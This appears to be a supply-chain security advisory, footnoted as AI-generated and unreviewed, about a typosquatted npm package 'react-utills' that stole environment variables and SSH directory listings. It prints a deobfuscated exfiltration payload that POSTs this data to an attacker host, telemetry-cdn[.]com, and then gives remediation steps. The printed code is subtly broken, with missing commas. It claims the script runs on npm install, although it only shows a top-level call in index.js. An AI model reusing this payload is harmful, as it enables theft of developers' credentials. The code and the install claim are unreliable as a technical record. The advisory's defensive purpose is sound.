# Malicious npm Package Targets React Developers with Backdoored Polyfill

> A typosquatted npm package mimicking a popular React utility has been downloaded over 47,000 times before removal.

- Published: 2024-01-25T00:00:00.000Z
- Severity: high
- Category: Supply Chain
- Tags: NPM, Supply Chain, Typosquatting, JavaScript, Backdoor
- Author: Runtime Rebel Intel
- Canonical: https://runtimerebel.com/blog/supply-chain-attack-npm

## Incident Summary

A malicious package named `react-utills` (note the double 'l') was published to the npm registry on January 18, 2024. It closely mimicked the legitimate `react-utils` package, which has over 2 million weekly downloads.

The package remained live for **7 days** before being reported by a security researcher and removed by npm. During that time it was downloaded **47,312 times**.

## Malicious Payload Analysis

The package appeared functionally identical to the legitimate library on the surface but included an additional obfuscated script in `index.js`:

```javascript
// Deobfuscated malicious payload
const os = require('os');
const fs = require('fs');
const https = require('https');

function exfiltrate() {
  const data = {
    env: process.env,           // All environment variables (API keys, tokens)
    home: os.homedir()
    ssh: fs.existsSync(`${os.homedir()}/.ssh`)
      ? fs.readdirSync(`${os.homedir()}/.ssh`)
      : null
  };

  // Send to attacker C2
  const req = https.request({
    hostname: 'telemetry-cdn[.]com'
    path: '/collect'
    method: 'POST'
  });
  req.write(JSON.stringify(data));
  req.end();
}

// Runs on package installation
exfiltrate();
```

## Impact Assessment

The exfiltration script runs during `npm install`, meaning **developers who installed the package may have exposed:**

- AWS/GCP/Azure credentials stored as environment variables
- API keys in `.env` files loaded in the shell
- SSH private key file listing (not content, but names)
- `npm_token` and `NPM_TOKEN` variables (enabling further supply chain attacks)

## Affected CI/CD Pipelines

Particular concern exists for automated pipelines where `npm install` runs in environments with cloud provider credentials injected as environment variables — a common pattern in CI/CD systems.

## Remediation Steps

If you installed `react-utills`:

1. **Rotate all credentials** — AWS IAM keys, API tokens, service account keys.
2. **Audit CI/CD secrets** — Review and rotate any secrets accessible from your build environment.
3. **Check for persistence** — Look for unfamiliar cron jobs or startup scripts added post-install.
4. **Review outbound connections** — Check logs for connections to `telemetry-cdn[.]com`.

## Prevention

- Enable **npm audit** in your CI pipeline.
- Use **package lock verification** and dependency pinning.
- Consider tools like **Socket Security** or **Snyk** for supply chain monitoring.
- Implement network egress filtering in your build environments.

---

AI-generated analysis from the primary source above; not human-reviewed before publication — verify anything operational against the original (https://runtimerebel.com/editorial). Quote with attribution and a link to the canonical URL: https://runtimerebel.com/blog/supply-chain-attack-npm